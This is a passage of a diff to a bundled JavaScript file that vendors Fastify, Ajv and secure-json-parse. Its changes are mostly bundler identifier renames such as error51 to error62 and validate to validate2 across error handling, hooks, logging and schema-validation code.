? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 +17288,14 @@ var require_execute_with_thenable = __commonJS({ let result; try { result = func.apply(func, args); - } catch (error51) { + } catch (error62) { if (callback) { - process.nextTick(callback, error51); + process.nextTick(callback, error62); } return; } if (isPromiseLike(result) && !result[kAvvio]) { - result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + result.then(() => process.nextTick(callback), (error62) => process.nextTick(callback, error62)); } else if (callback) { process.nextTick(callback); } @@ -18724,8 +18724,8 @@ var require_hooks = __commonJS({ if (fn.length === 1) { try { fn.call(server2, done); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } return; } @@ -18735,8 +18735,8 @@ var require_hooks = __commonJS({ ret2.then(done, done); return; } - } catch (error51) { - err = error51; + } catch (error62) { + err = error62; } done(err); }; @@ -18775,8 +18775,8 @@ var require_hooks = __commonJS({ return; } done(); - } catch (error51) { - done(error51); + } catch (error62) { + done(error62); } } } @@ -18791,8 +18791,8 @@ var require_hooks = __commonJS({ let result; try { result = iterator(functions[i++], request, reply, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18836,8 +18836,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, payload, next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18876,8 +18876,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, reply, request[kRequestPayloadStream], next); - } catch (error51) { - cb(error51, request, reply); + } catch (error62) { + cb(error62, request, reply); return; } if (result && typeof result.then === "function") { @@ -18905,8 +18905,8 @@ var require_hooks = __commonJS({ let result; try { result = functions[i++](request, next); - } catch (error51) { - cb(error51, request); + } catch (error62) { + cb(error62, request); return; } if (result && typeof result.then === "function") { @@ -19418,7 +19418,7 @@ var require_validation = __commonJS({ FST_ERR_SCH_RESPONSE_SCHEMA_NOT_NESTED_2XX } = require_errors2(); var { FSTWRN001, FSTSEC002 } = require_warnings(); - function compileSchemasForSerialization(context2, compile) { + function compileSchemasForSerialization(context2, compile2) { if (!context2.schema || !context2.schema.response) { return; } @@ -19433,7 +19433,7 @@ var require_validation = __commonJS({ const contentTypesSchemas = {}; for (const mediaName of Object.keys(schema.content)) { const contentSchema = schema.content[mediaName].schema; - contentTypesSchemas[mediaName] = compile({ + contentTypesSchemas[mediaName] = compile2({ schema: contentSchema, url: url2, method, @@ -19443,7 +19443,7 @@ var require_validation = __commonJS({ } acc[statusCode] = contentTypesSchemas; } else { - acc[statusCode] = compile({ + acc[statusCode] = compile2({ schema, url: url2, method, @@ -19582,7 +19582,7 @@ var require_validation = __commonJS({ } return void 0; } - function compileSchemasForValidation(context2, compile, isCustom) { + function compileSchemasForValidation(context2, compile2, isCustom) { const { schema } = context2; if (!schema) { return; @@ -19591,14 +19591,14 @@ var require_validation = __commonJS({ const headers = schema.headers; if (headers !== void 0) { if (isCustom || typeof headers !== "object" || headers === null || Object.getPrototypeOf(headers) !== Object.prototype) { - context2[headersSchema] = compile({ schema: headers, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headers, method, url: url2, httpPart: "headers" }); } else { const headersSchemaLowerCase = lowerCaseHeadersSchema(headers); const externalRef = findExternalHeaderRef(headers); if (externalRef !== void 0) { FSTSEC002(method, url2, externalRef); } - context2[headersSchema] = compile({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); + context2[headersSchema] = compile2({ schema: headersSchemaLowerCase, method, url: url2, httpPart: "headers" }); } } else if (Object.hasOwn(schema, "headers")) { FSTWRN001("headers", method, url2); @@ -19609,22 +19609,22 @@ var require_validation = __commonJS({ const contentTypeSchemas = {}; for (const contentType of Object.keys(contentProperty)) { const contentSchema = contentProperty[contentType].schema; - contentTypeSchemas[contentType] = compile({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); + contentTypeSchemas[contentType] = compile2({ schema: contentSchema, method, url: url2, httpPart: "body", contentType }); } context2[bodySchema] = contentTypeSchemas; } else { - context2[bodySchema] = compile({ schema: schema.body, method, url: url2, httpPart: "body" }); + context2[bodySchema] = compile2({ schema: schema.body, method, url: url2, httpPart: "body" }); } } else if (Object.hasOwn(schema, "body")) { FSTWRN001("body", method, url2); } if (schema.querystring !== void 0) { - context2[querystringSchema] = compile({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); + context2[querystringSchema] = compile2({ schema: schema.querystring, method, url: url2, httpPart: "querystring" }); } else if (Object.hasOwn(schema, "querystring")) { FSTWRN001("querystring", method, url2); } if (schema.params !== void 0) { - context2[paramsSchema] = compile({ schema: schema.params, method, url: url2, httpPart: "params" }); + context2[paramsSchema] = compile2({ schema: schema.params, method, url: url2, httpPart: "params" }); } else if (Object.hasOwn(schema, "params")) { FSTWRN001("params", method, url2); } @@ -19662,7 +19662,7 @@ var require_validation = __commonJS({ return false; } } - function validate(context2, request, execution) { + function validate2(context2, request, execution) { const runExecution = execution === void 0; if (runExecution && context2[paramsSchema] === void 0 && context2[bodySchema] === void 0 && context2[querystringSchema] === void 0 && context2[headersSchema] === void 0) { return false; @@ -19721,7 +19721,7 @@ var require_validation = __commonJS({ if (paramsResult) { return wrapValidationError(paramsResult, "params", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true }); + return validate2(context2, request, { skipParams: true }); }); } function validateAsyncBody(validatePromise, context2, request) { @@ -19729,7 +19729,7 @@ var require_validation = __commonJS({ if (bodyResult) { return wrapValidationError(bodyResult, "body", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true }); + return validate2(context2, request, { skipParams: true, skipBody: true }); }); } function validateAsyncQuery(validatePromise, context2, request) { @@ -19737,7 +19737,7 @@ var require_validation = __commonJS({ if (queryResult) { return wrapValidationError(queryResult, "querystring", context2.schemaErrorFormatter); } - return validate(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); + return validate2(context2, request, { skipParams: true, skipBody: true, skipQuery: true }); }); } function validateAsyncHeaders(validatePromise, context2, request) { @@ -19755,18 +19755,18 @@ var require_validation = __commonJS({ result.validationContext = result.validationContext || dataVar; return result; } - const error51 = schemaErrorFormatter(result, dataVar); - error51.statusCode = error51.statusCode || 400; - error51.code = error51.code || "FST_ERR_VALIDATION"; - error51.validation = result; - error51.validationContext = dataVar; - return error51; + const error62 = schemaErrorFormatter(result, dataVar); + error62.statusCode = error62.statusCode || 400; + error62.code = error62.code || "FST_ERR_VALIDATION"; + error62.validation = result; + error62.validationContext = dataVar; + return error62; } module.exports = { symbols: { bodySchema, querystringSchema, responseSchema, paramsSchema, headersSchema }, compileSchemasForValidation, compileSchemasForSerialization, - validate + validate: validate2 }; } }); @@ -21444,15 +21444,15 @@ var require_rfdc = __commonJS({ var require_initial_config_validation = __commonJS({ "node_modules/.pnpm/fastify@5.12.5/node_modules/fastify/lib/initial-config-validation.js"(exports, module) { "use strict"; - var validate = require_config_validator(); + var validate2 = require_config_validator(); var deepClone = require_rfdc()({ circles: true, proto: false }); var { FST_ERR_INIT_OPTS_INVALID } = require_errors2(); function validateInitialConfig(options) { const opts = deepClone(options); - if (!validate(opts)) { - const error51 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate.errors.map((e) => e.message))); - error51.errors = validate.errors; - throw error51; + if (!validate2(opts)) { + const error62 = new FST_ERR_INIT_OPTS_INVALID(JSON.stringify(validate2.errors.map((e) => e.message))); + error62.errors = validate2.errors; + throw error62; } return deepFreezeObject(opts); } @@ -21468,7 +21468,7 @@ var require_initial_config_validation = __commonJS({ return Object.freeze(object2); } module.exports = validateInitialConfig; - module.exports.defaultInitOptions = validate.defaultInitOptions; + module.exports.defaultInitOptions = validate2.defaultInitOptions; module.exports.utils = { deepFreezeObject }; } }); @@ -21524,12 +21524,12 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - requestCompleted(error51, request, reply, metadata) { + requestCompleted(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51) { - reply.log.error({ res: reply, err: error51, responseTime: reply.elapsedTime }, "request errored"); + if (error62) { + reply.log.error({ res: reply, err: error62, responseTime: reply.elapsedTime }, "request errored"); } else { reply.log.info({ res: reply, responseTime: reply.elapsedTime }, "request completed"); } @@ -21543,14 +21543,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object (must have `statusCode`). * @param {object} [metadata] Extra contextual data (unused). */ - defaultErrorLog(error51, request, reply, metadata) { + defaultErrorLog(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } if (reply.statusCode >= 500) { - reply.log.error({ req: request, res: reply, err: error51 }, error51?.message); + reply.log.error({ req: request, res: reply, err: error62 }, error62?.message); } else { - reply.log.info({ res: reply, err: error51 }, error51?.message); + reply.log.info({ res: reply, err: error62 }, error62?.message); } } /** @@ -21562,14 +21562,14 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - streamError(error51, request, reply, metadata) { + streamError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - if (error51.code === "ERR_STREAM_PREMATURE_CLOSE") { + if (error62.code === "ERR_STREAM_PREMATURE_CLOSE") { reply.log.info({ res: reply }, "stream closed prematurely"); } else { - reply.log.warn({ err: error51 }, "response terminated with an error with headers already sent"); + reply.log.warn({ err: error62 }, "response terminated with an error with headers already sent"); } } /** @@ -21595,13 +21595,13 @@ var require_log_controller = __commonJS({ * @param {object} reply Fastify reply object. * @param {object} [metadata] Extra contextual data (unused). */ - writeHeadError(error51, request, reply, metadata) { + writeHeadError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } reply.log.warn( - { req: request, res: reply, err: error51 }, - error51?.message + { req: request, res: reply, err: error62 }, + error62?.message ); } /** @@ -21613,11 +21613,11 @@ var require_log_controller = __commonJS({ * @param {object} metadata Extra contextual data. * @param {number} metadata.statusCode The status code that triggered the serializer. */ - serializerError(error51, request, reply, metadata) { + serializerError(error62, request, reply, metadata) { if (this.isLogDisabled(request)) { return; } - reply.log.error({ err: error51, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); + reply.log.error({ err: error62, statusCode: metadata.statusCode }, "The serializer for the given status code failed"); } /** * Logs a 503 Service Unavailable when the server is closing. @@ -22135,8 +22135,8 @@ var require_error_serializer = __commonJS({ const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY; const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE; const JSON_STR_NULL = "null"; - function anonymous0(input) { - const obj = input && typeof input.toJSON === "function" ? input.toJSON() : input; + function anonymous0(input2) { + const obj = input2 && typeof input2.toJSON === "function" ? input2.toJSON() : input2; if (obj === null) return JSON_STR_EMPTY_OBJECT; let json3 = ""; json3 += JSON_STR_BEGIN_OBJECT; @@ -22237,15 +22237,15 @@ var require_error_handler = __commonJS({ return this.func.name.toString() + "()"; } }; - function handleError(reply, error51, cb) { + function handleError(reply, error62, cb) { reply[kReplyIsRunningOnErrorHook] = false; const context2 = reply[kRouteContext]; if (reply[kReplyNextErrorHandler] === false) { - fallbackErrorHandler(error51, reply, function(reply2, payload) { + fallbackErrorHandler(error62, reply, function(reply2, payload) { try { reply2.raw.writeHead(reply2.raw.statusCode, reply2[kReplyHeaders]); - } catch (error52) { - reply2.server[kLogController].writeHeadError(error52, reply2.request, reply2); + } catch (error63) { + reply2.server[kLogController].writeHeadError(error63, reply2.request, reply2); reply2.raw.writeHead(reply2.raw.statusCode); } reply2.raw.end(payload); @@ -22259,11 +22259,11 @@ var require_error_handler = __commonJS({ const func = errorHandler.func; if (!func) { reply[kReplyNextErrorHandler] = false; - fallbackErrorHandler(error51, reply, cb); + fallbackErrorHandler(error62, reply, cb); return; } try { - const result = func(error51, reply.request, reply); + const result = func(error62, reply.request, reply); if (result !== void 0) { if (result !== null && typeof result.then === "function") { const store = reply[kDiagnosticsStore] || null; @@ -22276,13 +22276,13 @@ var require_error_handler = __commonJS({ reply.send(err); } } - function defaultErrorHandler(error51, request, reply) { - setErrorHeaders(error51, reply); - setErrorStatusCode(reply, error51); - request.server[kLogController].defaultErrorLog(error51, request, reply); - reply.send(error51); + function defaultErrorHandler(error62, request, reply) { + setErrorHeaders(error62, reply); + setErrorStatusCode(reply, error62); + request.server[kLogController].defaultErrorLog(error62, request, reply); + reply.send(error62); } - function fallbackErrorHandler(error51, reply, cb) { + function fallbackErrorHandler(error62, reply, cb) { const res = reply.raw; const statusCode = reply.statusCode; reply[kReplyHeaders]["content-type"] = reply[kReplyHeaders]["content-type"] ?? "application/json; charset=utf-8"; @@ -22292,21 +22292,21 @@ var require_error_handler = __commonJS({ if (serializerFn === false) { payload = serializeError({ error: statusCodes[statusCode + ""], - code: error51.code, - message: error51.message, + code: error62.code, + message: error62.message, statusCode }); } else { - payload = serializerFn(Object.create(error51, { + payload = serializerFn(Object.create(error62, { error: { value: statusCodes[statusCode + ""] }, - message: { value: error51.message }, + message: { value: error62.message }, statusCode: { value: statusCode } })); } } catch (err) { reply.server[kLogController].serializerError(err, reply.request, reply, { statusCode: res.statusCode }); reply.code(500); - payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error51.message)); + payload = serializeError(new FST_ERR_FAILED_ERROR_SERIALIZATION(err.message, error62.message)); } if (typeof payload !== "string" && !Buffer.isBuffer(payload)) { payload = serializeError(new FST_ERR_REP_INVALID_PAYLOAD_TYPE(typeof payload)); @@ -22322,18 +22322,18 @@ var require_error_handler = __commonJS({ errorHandler.func = func; return errorHandler; } - function setErrorHeaders(error51, reply) { + function setErrorHeaders(error62, reply) { const res = reply.raw; let statusCode = res.statusCode; statusCode = statusCode >= 400 ? statusCode : 500; - if (error51 != null) { - if (error51.headers !== void 0) { - reply.headers(error51.headers); + if (error62 != null) { + if (error62.headers !== void 0) { + reply.headers(error62.headers); } - if (error51.status >= 400) { - statusCode = error51.status; - } else if (error51.statusCode >= 400) { - statusCode = error51.statusCode; + if (error62.status >= 400) { + statusCode = error62.status; + } else if (error62.statusCode >= 400) { + statusCode = error62.statusCode; } } res.statusCode = statusCode; @@ -22818,7 +22818,7 @@ var require_reply = __commonJS({ this[kRouteContext][kReplyCacheSerializeFns].set(schema, serializeFn); return serializeFn; }; - Reply.prototype.serializeInput = function(input, schema, httpStatus, contentType) { + Reply.prototype.serializeInput = function(input2, schema, httpStatus, contentType) { const possibleContentType = httpStatus; let serialize2; httpStatus = typeof schema === "string" || typeof schema === "number" ? schema : httpStatus; @@ -22840,7 +22840,7 @@ var require_reply = __commonJS({ serialize2 = this.compileSerializationSchema(schema, httpStatus, contentType); } } - return serialize2(input); + return serialize2(input2); }; Reply.prototype.serialize = function(payload) { if (this[kReplySerializer] !== null) { @@ -22931,8 +22931,8 @@ var require_reply = __commonJS({ } onSendHook(reply, payload); } - function wrapSerializationError(error51, reply) { - error51.serialization = reply[kRouteContext].config; + function wrapSerializationError(error62, reply) { + error62.serialization = reply[kRouteContext].config; } function onSendHook(reply, payload) { if (reply[kRouteContext].onSend !== null) { @@ -23230,18 +23230,18 @@ var require_reply = __commonJS({ if (reply[kReplyTrailers] === null) return; payload.on("end", () => sendTrailer(null, res, reply)); } - function onErrorHook(reply, error51, cb) { + function onErrorHook(reply, error62, cb) { if (reply[kRouteContext].onError !== null && !reply[kReplyNextErrorHandler]) { reply[kReplyIsRunningOnErrorHook] = true; onSendHookRunner( reply[kRouteContext].onError, reply.request, reply, - error51, - () => handleError(reply, error51, cb) + error62, + () => handleError(reply, error62, cb) ); } else { - handleError(reply, error51, cb); + handleError(reply, error62, cb); } } function setupResponseListeners(reply) { @@ -24204,7 +24204,7 @@ var require_proxy_addr = __commonJS({ module.exports.default = proxyaddr; module.exports.proxyaddr = proxyaddr; module.exports.all = alladdrs; - module.exports.compile = compile; + module.exports.compile = compile2; var forwarded = require_forwarded(); var ipaddr = require_ipaddr(); var DIGIT_REGEXP = /^\d+$/u; @@ -24221,7 +24221,7 @@ var require_proxy_addr = __commonJS({ return addrs; } if (typeof trust !== "function") { - trust = compile(trust); + trust = compile2(trust); } for (let i = 0; i < addrs.length - 1; i++) { if (trust(addrs[i], i)) continue; @@ -24229,7 +24229,7 @@ var require_proxy_addr = __commonJS({ } return addrs; } - function compile(val) { + function compile2(val) { if (!val) { throw new TypeError("argument is required"); } @@ -24670,24 +24670,24 @@ var require_request = __commonJS({ } }, validateInput: { - value: function(input, schema, httpPart) { + value: function(input2, schema, httpPart) { httpPart = typeof schema === "string" ? schema : httpPart; const symbol2 = httpPart != null && typeof httpPart === "string" && HTTP_PART_SYMBOL_MAP[httpPart]; - let validate; + let validate2; if (symbol2) { - validate = this[kRouteContext][symbol2]; + validate2 = this[kRouteContext][symbol2]; } - if (validate == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { + if (validate2 == null && (schema == null || typeof schema !== "object" || Array.isArray(schema))) { throw new FST_ERR_REQ_INVALID_VALIDATION_INVOCATION(httpPart); } - if (validate == null) { + if (validate2 == null) { if (this[kRouteContext][kRequestCacheValidateFns]?.has(schema)) { - validate = this[kRouteContext][kRequestCacheValidateFns].get(schema); + validate2 = this[kRouteContext][kRequestCacheValidateFns].get(schema); } else { - validate = this.compileValidationSchema(schema, httpPart); + validate2 = this.compileValidationSchema(schema, httpPart); } } - return validate(input); + return validate2(input2); } }, getDecorator: { @@ -24808,7 +24808,7 @@ var require_secure_json_parse = __commonJS({ var hasBuffer = typeof Buffer !== "undefined"; var suspectProtoRx = /"(?:_|\\u005[Ff])(?:_|\\u005[Ff])(?:p|\\u0070)(?:r|\\u0072)(?:o|\\u006[Ff])(?:t|\\u0074)(?:o|\\u006[Ff])(?:_|\\u005[Ff])(?:_|\\u005[Ff])"\s*:/; var suspectConstructorRx = /"(?:c|\\u0063)(?:o|\\u006[Ff])(?:n|\\u006[Ee])(?:s|\\u0073)(?:t|\\u0074)(?:r|\\u0072)(?:u|\\u0075)(?:c|\\u0063)(?:t|\\u0074)(?:o|\\u006[Ff])(?:r|\\u0072)"\s*:/; - function _parse2(text2, reviver, options) { + function _parse3(text2, reviver, options) { if (options == null) { if (reviver !== null && typeof reviver === "object") { options = reviver; @@ -24850,25 +24850,25 @@ var require_secure_json_parse = __commonJS({ while (next.length) { const nodes = next; next = []; - for (const node of nodes) { - if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "__proto__")) { + for (const node2 of nodes) { + if (protoAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "__proto__")) { if (safe === true) { return null; } else if (protoAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.__proto__; + delete node2.__proto__; } - if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node, "constructor") && node.constructor !== null && typeof node.constructor === "object" && Object.prototype.hasOwnProperty.call(node.constructor, "prototype")) { + if (constructorAction !== "ignore" && Object.prototype.hasOwnProperty.call(node2, "constructor") && node2.constructor !== null && typeof node2.constructor === "object" && Object.prototype.hasOwnProperty.call(node2.constructor, "prototype")) { if (safe === true) { return null; } else if (constructorAction === "error") { throw new SyntaxError("Object contains forbidden prototype property"); } - delete node.constructor; + delete node2.constructor; } - for (const key in node) { - const value = node[key]; + for (const key in node2) { + const value = node2[key]; if (value && typeof value === "object") { next.push(value); } @@ -24881,7 +24881,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, options); + return _parse3(text2, reviver, options); } finally { Error.stackTraceLimit = stackTraceLimit; } @@ -24890,7 +24890,7 @@ var require_secure_json_parse = __commonJS({ const { stackTraceLimit } = Error; Error.stackTraceLimit = 0; try { - return _parse2(text2, reviver, { safe: true }); + return _parse3(text2, reviver, { safe: true }); } catch { return void 0; } finally { @@ -25075,8 +25075,8 @@ var require_content_type_parser = __commonJS({ return; } const resource = new AsyncResource("content-type-parser:run", request); - function done(error51, body) { - resource.runInAsyncScope(onDone, void 0, error51, body); + function done(error62, body) { + resource.runInAsyncScope(onDone, void 0, error62, body); } if (parser.asString === true || parser.asBuffer === true) { rawBody( @@ -25094,12 +25094,12 @@ var require_content_type_parser = __commonJS({ done(null, body); }, done); } - function onDone(error51, body) { + function onDone(error62, body) { resource.emitDestroy(); - if (error51 != null) { + if (error62 != null) { reply.header("connection", "close"); reply[kReplyIsError] = true; - reply.send(error51); + reply.send(error62); return; } request.body = body; @@ -25697,9 +25697,9 @@ var require_codegen = __commonJS({ } }; var Throw = class extends Node { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render({ _n }) { return `throw ${this.error};` + _n; @@ -25936,9 +25936,9 @@ var require_codegen = __commonJS({ } }; var Catch = class extends BlockNode { - constructor(error51) { + constructor(error62) { super(); - this.error = error51; + this.error = error62; } render(opts) { return `catch(${this.error})` + super.render(opts); @@ -26064,8 +26064,8 @@ var require_codegen = __commonJS({ endIf() { return this._endBlockNode(If, Else); } - _for(node, forBody) { - this._blockNode(node); + _for(node2, forBody) { + this._blockNode(node2); if (forBody) this.code(forBody).endFor(); return this; @@ -26114,10 +26114,10 @@ var require_codegen = __commonJS({ } // `return` statement return(value) { - const node = new Return(); - this._blockNode(node); + const node2 = new Return(); + this._blockNode(node2); this.code(value); - if (node.nodes.length !== 1) + if (node2.nodes.length !== 1) throw new Error('CodeGen: "return" should have one node'); return this._endBlockNode(Return); } @@ -26125,23 +26125,23 @@ var require_codegen = __commonJS({ try(tryBody, catchCode, finallyCode) { if (!catchCode && !finallyCode) throw new Error('CodeGen: "try" without "catch" and "finally"'); - const node = new Try(); - this._blockNode(node); + const node2 = new Try(); + this._blockNode(node2); this.code(tryBody); if (catchCode) { - const error51 = this.name("e"); - this._currNode = node.catch = new Catch(error51); - catchCode(error51); + const error62 = this.name("e"); + this._currNode = node2.catch = new Catch(error62); + catchCode(error62); } if (finallyCode) { - this._currNode = node.finally = new Finally(); + this._currNode = node2.finally = new Finally(); this.code(finallyCode); } return this._endBlockNode(Catch, Finally); } // `throw` statement - throw(error51) { - return this._leafNode(new Throw(error51)); + throw(error62) { + return this._leafNode(new Throw(error62)); } // start self-balancing block block(body, nodeCount) { @@ -26179,13 +26179,13 @@ var require_codegen = __commonJS({ this._root.optimizeNames(this._root.names, this._constants); } } - _leafNode(node) { - this._currNode.nodes.push(node); + _leafNode(node2) { + this._currNode.nodes.push(node2); return this; } - _blockNode(node) { - this._currNode.nodes.push(node); - this._nodes.push(node); + _blockNode(node2) { + this._currNode.nodes.push(node2); + this._nodes.push(node2); } _endBlockNode(N1, N2) { const n = this._currNode; @@ -26195,12 +26195,12 @@ var require_codegen = __commonJS({ } throw new Error(`CodeGen: not in block "${N2 ? `${N1.kind}/${N2.kind}` : N1.kind}"`); } - _elseNode(node) { + _elseNode(node2) { const n = this._currNode; if (!(n instanceof If)) { throw new Error('CodeGen: "else" without "if"'); } - this._currNode = n.else = node; + this._currNode = n.else = node2; return this; } get _root() { @@ -26210,9 +26210,9 @@ var require_codegen = __commonJS({ const ns = this._nodes; return ns[ns.length - 1]; } - set _currNode(node) { + set _currNode(node2) { const ns = this._nodes; - ns[ns.length - 1] = node; + ns[ns.length - 1] = node2; } }; exports.CodeGen = CodeGen; @@ -26497,10 +26497,10 @@ var require_errors3 = __commonJS({ exports.keyword$DataError = { message: ({ keyword, schemaType }) => schemaType ? (0, codegen_1.str)`"${keyword}" keyword must be ${schemaType} ($data)` : (0, codegen_1.str)`"${keyword}" keyword is invalid ($data)` }; - function reportError(cxt, error51 = exports.keywordError, errorPaths, overrideAllErrors) { + function reportError(cxt, error62 = exports.keywordError, errorPaths, overrideAllErrors) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); if (overrideAllErrors !== null && overrideAllErrors !== void 0 ? overrideAllErrors : compositeRule || allErrors) { addError(gen, errObj); } else { @@ -26508,10 +26508,10 @@ var require_errors3 = __commonJS({ } } exports.reportError = reportError; - function reportExtraError(cxt, error51 = exports.keywordError, errorPaths) { + function reportExtraError(cxt, error62 = exports.keywordError, errorPaths) { const { it } = cxt; const { gen, compositeRule, allErrors } = it; - const errObj = errorObjectCode(cxt, error51, errorPaths); + const errObj = errorObjectCode(cxt, error62, errorPaths); addError(gen, errObj); if (!(compositeRule || allErrors)) { returnErrors(it, names_1.default.vErrors); @@ -26562,19 +26562,19 @@ var require_errors3 = __commonJS({ schema: new codegen_1.Name("schema"), parentSchema: new codegen_1.Name("parentSchema") }; - function errorObjectCode(cxt, error51, errorPaths) { + function errorObjectCode(cxt, error62, errorPaths) { const { createErrors } = cxt.it; if (createErrors === false) return (0, codegen_1._)`{}`; - return errorObject(cxt, error51, errorPaths); + return errorObject(cxt, error62, errorPaths); } - function errorObject(cxt, error51, errorPaths = {}) { + function errorObject(cxt, error62, errorPaths = {}) { const { gen, it } = cxt; const keyValues = [ errorInstancePath(it, errorPaths), errorSchemaPath(cxt, errorPaths) ]; - extraErrorProps(cxt, error51, keyValues); + extraErrorProps(cxt, error62, keyValues); return gen.object(...keyValues); } function errorInstancePath({ errorPath }, { instancePath }) { @@ -27094,8 +27094,8 @@ var require_keyword = __commonJS({ var _a3; const { gen, keyword, schema, parentSchema, $data, it } = cxt; checkAsyncKeyword(it, def); - const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; - const validateRef = useKeyword(gen, keyword, validate); + const validate2 = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate2); const valid = gen.let("valid"); cxt.block$data(valid, validateKeyword); cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); @@ -27106,13 +27106,13 @@ var require_keyword = __commonJS({ modifyData(cxt); reportErrs(() => cxt.error()); } else { - const ruleErrs = def.async ? validateAsync() : validateSync(); + const ruleErrs = def.async ? validateAsync3() : validateSync(); if (def.modifying) modifyData(cxt); reportErrs(() => addErrs(cxt, ruleErrs)); } } - function validateAsync() { + function validateAsync3() { const ruleErrs = gen.let("ruleErrs", null); gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); return ruleErrs; @@ -27522,11 +27522,11 @@ var require_resolve = __commonJS({ } return ref; } - function addAnchor(anchor) { - if (typeof anchor == "string") { - if (!ANCHOR.test(anchor)) - throw new Error(`invalid anchor "${anchor}"`); - addRef.call(this, `#${anchor}`); + function addAnchor(anchor2) { + if (typeof anchor2 == "string") { + if (!ANCHOR.test(anchor2)) + throw new Error(`invalid anchor "${anchor2}"`); + addRef.call(this, `#${anchor2}`); } } }); @@ -28168,28 +28168,28 @@ var require_compile = __commonJS({ if (this.opts.code.process) sourceCode = this.opts.code.process(sourceCode, sch); const makeValidate = new Function(`${names_1.default.self}`, `${names_1.default.scope}`, sourceCode); - const validate = makeValidate(this, this.scope.get()); - this.scope.value(validateName, { ref: validate }); - validate.errors = null; - validate.schema = sch.schema; - validate.schemaEnv = sch; + const validate2 = makeValidate(this, this.scope.get()); + this.scope.value(validateName, { ref: validate2 }); + validate2.errors = null; + validate2.schema = sch.schema; + validate2.schemaEnv = sch; if (sch.$async) - validate.$async = true; + validate2.$async = true; if (this.opts.code.source === true) { - validate.source = { validateName, validateCode, scopeValues: gen._values }; + validate2.source = { validateName, validateCode, scopeValues: gen._values }; } if (this.opts.unevaluated) { const { props, items } = schemaCxt; - validate.evaluated = { + validate2.evaluated = { props: props instanceof codegen_1.Name ? void 0 : props, items: items instanceof codegen_1.Name ? void 0 : items, dynamicProps: props instanceof codegen_1.Name, dynamicItems: items instanceof codegen_1.Name }; - if (validate.source) - validate.source.evaluated = (0, codegen_1.stringify)(validate.evaluated); + if (validate2.source) + validate2.source.evaluated = (0, codegen_1.stringify)(validate2.evaluated); } - sch.validate = validate; + sch.validate = validate2; return sch; } catch (e) { delete sch.validate; @@ -28355,27 +28355,27 @@ var require_utils = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -28418,11 +28418,11 @@ var require_utils = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = 